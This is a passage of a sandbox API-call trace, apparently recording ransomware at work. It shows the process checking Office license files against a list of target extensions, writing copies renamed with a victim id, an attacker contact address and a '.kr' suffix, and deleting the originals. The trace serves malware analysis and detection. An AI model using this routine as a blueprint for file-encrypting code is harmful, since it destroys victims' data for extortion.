lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString=".7z") returned 3 [0213.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.464] lstrlenW (lpString=".dbf") returned 4 [0213.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.464] lstrlenW (lpString=".1cd") returned 4 [0213.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.464] lstrlenW (lpString=".jpg") returned 4 [0213.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.464] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.464] lstrlenW (lpString="PowerPointVL_KMS_Client-ul.xrm-ms") returned 33 [0213.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.465] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=9626) returned 1 [0213.465] CloseHandle (hObject=0x51c) returned 1 [0213.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms")) returned 0x220 [0213.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.466] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.466] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.467] GetLastError () returned 0x0 [0213.467] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x259a, lpOverlapped=0x0) returned 1 [0213.471] WriteFile (in: hFile=0x554, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x25a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x25a0, lpOverlapped=0x0) returned 1 [0213.472] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.472] WriteFile (in: hFile=0x554, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0213.472] SetEndOfFile (hFile=0x554) returned 1 [0213.472] CloseHandle (hObject=0x554) returned 1 [0213.472] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.472] SetEndOfFile (hFile=0x51c) returned 1 [0213.477] CloseHandle (hObject=0x51c) returned 1 [0213.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms")) returned 1 [0214.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.473] lstrlenW (lpString=".doc") returned 4 [0214.473] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.473] lstrlenW (lpString=".docx") returned 5 [0214.473] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.473] lstrlenW (lpString=".pdf") returned 4 [0214.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString=".xls") returned 4 [0214.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString=".xlsx") returned 5 [0214.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.474] lstrlenW (lpString=".ppt") returned 4 [0214.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.474] lstrlenW (lpString=".zip") returned 4 [0214.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString=".rar") returned 4 [0214.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString=".bz2") returned 4 [0214.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString=".7z") returned 3 [0214.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.474] lstrlenW (lpString=".dbf") returned 4 [0214.474] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.474] lstrlenW (lpString=".1cd") returned 4 [0214.474] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.474] lstrlenW (lpString=".jpg") returned 4 [0214.474] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.474] lstrlenW (lpString=".doc") returned 4 [0214.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.474] lstrlenW (lpString=".docx") returned 5 [0214.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.474] lstrlenW (lpString=".pdf") returned 4 [0214.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString=".xls") returned 4 [0214.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString=".xlsx") returned 5 [0214.475] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.475] lstrlenW (lpString=".ppt") returned 4 [0214.475] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.475] lstrlenW (lpString=".zip") returned 4 [0214.475] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString=".rar") returned 4 [0214.475] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString=".bz2") returned 4 [0214.475] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString=".7z") returned 3 [0214.475] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.475] lstrlenW (lpString=".dbf") returned 4 [0214.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.475] lstrlenW (lpString=".1cd") returned 4 [0214.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms") returned 83 [0214.475] lstrlenW (lpString=".jpg") returned 4 [0214.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.475] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.475] lstrlenW (lpString="ProfessionalR_Grace-ppd.xrm-ms") returned 30 [0214.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.476] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=23072) returned 1 [0214.476] CloseHandle (hObject=0x478) returned 1 [0214.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms")) returned 0x220 [0214.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.477] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.477] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.478] GetLastError () returned 0x0 [0214.478] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5a20, lpOverlapped=0x0) returned 1 [0214.480] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5a30, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5a30, lpOverlapped=0x0) returned 1 [0214.481] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0214.481] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0214.482] SetEndOfFile (hFile=0x3bc) returned 1 [0214.482] CloseHandle (hObject=0x3bc) returned 1 [0214.482] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.482] SetEndOfFile (hFile=0x478) returned 1 [0214.485] CloseHandle (hObject=0x478) returned 1 [0214.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms")) returned 1 [0214.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.486] lstrlenW (lpString=".doc") returned 4 [0214.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.486] lstrlenW (lpString=".docx") returned 5 [0214.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.486] lstrlenW (lpString=".pdf") returned 4 [0214.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.486] lstrlenW (lpString=".xls") returned 4 [0214.486] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.486] lstrlenW (lpString=".xlsx") returned 5 [0214.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.486] lstrlenW (lpString=".ppt") returned 4 [0214.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.486] lstrlenW (lpString=".zip") returned 4 [0214.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.486] lstrlenW (lpString=".rar") returned 4 [0214.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.486] lstrlenW (lpString=".bz2") returned 4 [0214.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.486] lstrlenW (lpString=".7z") returned 3 [0214.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.486] lstrlenW (lpString=".dbf") returned 4 [0214.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.487] lstrlenW (lpString=".1cd") returned 4 [0214.487] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.487] lstrlenW (lpString=".jpg") returned 4 [0214.487] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.487] lstrlenW (lpString=".doc") returned 4 [0214.487] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString=".docx") returned 5 [0214.487] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.487] lstrlenW (lpString=".pdf") returned 4 [0214.487] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString=".xls") returned 4 [0214.487] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString=".xlsx") returned 5 [0214.487] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.487] lstrlenW (lpString=".ppt") returned 4 [0214.487] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.487] lstrlenW (lpString=".zip") returned 4 [0214.487] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString=".rar") returned 4 [0214.487] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString=".bz2") returned 4 [0214.487] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.487] lstrlenW (lpString=".7z") returned 3 [0214.487] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.487] lstrlenW (lpString=".dbf") returned 4 [0214.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.488] lstrlenW (lpString=".1cd") returned 4 [0214.488] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms") returned 80 [0214.488] lstrlenW (lpString=".jpg") returned 4 [0214.488] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.488] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.488] lstrlenW (lpString="ProfessionalR_Grace-ul-oob.xrm-ms") returned 33 [0214.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.493] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11624) returned 1 [0214.493] CloseHandle (hObject=0x478) returned 1 [0214.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms")) returned 0x220 [0214.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.494] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.494] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.495] GetLastError () returned 0x0 [0214.495] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d68, lpOverlapped=0x0) returned 1 [0214.496] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0214.498] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0214.498] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0214.498] SetEndOfFile (hFile=0x3bc) returned 1 [0214.498] CloseHandle (hObject=0x3bc) returned 1 [0214.498] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.498] SetEndOfFile (hFile=0x478) returned 1 [0214.501] CloseHandle (hObject=0x478) returned 1 [0214.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms")) returned 1 [0214.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.502] lstrlenW (lpString=".doc") returned 4 [0214.502] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.502] lstrlenW (lpString=".docx") returned 5 [0214.502] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.502] lstrlenW (lpString=".pdf") returned 4 [0214.502] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.502] lstrlenW (lpString=".xls") returned 4 [0214.502] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.502] lstrlenW (lpString=".xlsx") returned 5 [0214.502] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.502] lstrlenW (lpString=".ppt") returned 4 [0214.502] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.502] lstrlenW (lpString=".zip") returned 4 [0214.502] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.502] lstrlenW (lpString=".rar") returned 4 [0214.502] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.502] lstrlenW (lpString=".bz2") returned 4 [0214.502] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.502] lstrlenW (lpString=".7z") returned 3 [0214.502] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.503] lstrlenW (lpString=".dbf") returned 4 [0214.503] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.503] lstrlenW (lpString=".1cd") returned 4 [0214.503] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.503] lstrlenW (lpString=".jpg") returned 4 [0214.503] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms") returned 83 [0214.503] lstrlenW (lpString=".doc") returned 4 [0214.503] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString=".docx") returned 5 [0214.503] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.503] lstrlenW (lpString=".pdf") returned 4 [0214.503] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString=".xls") returned 4 [0214.503] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.503] lstrlenW (lpString=".xlsx") returned 5 [0214.503] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.503] lstrlenW (lpString=".ppt") returned 4 [0214.503] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned 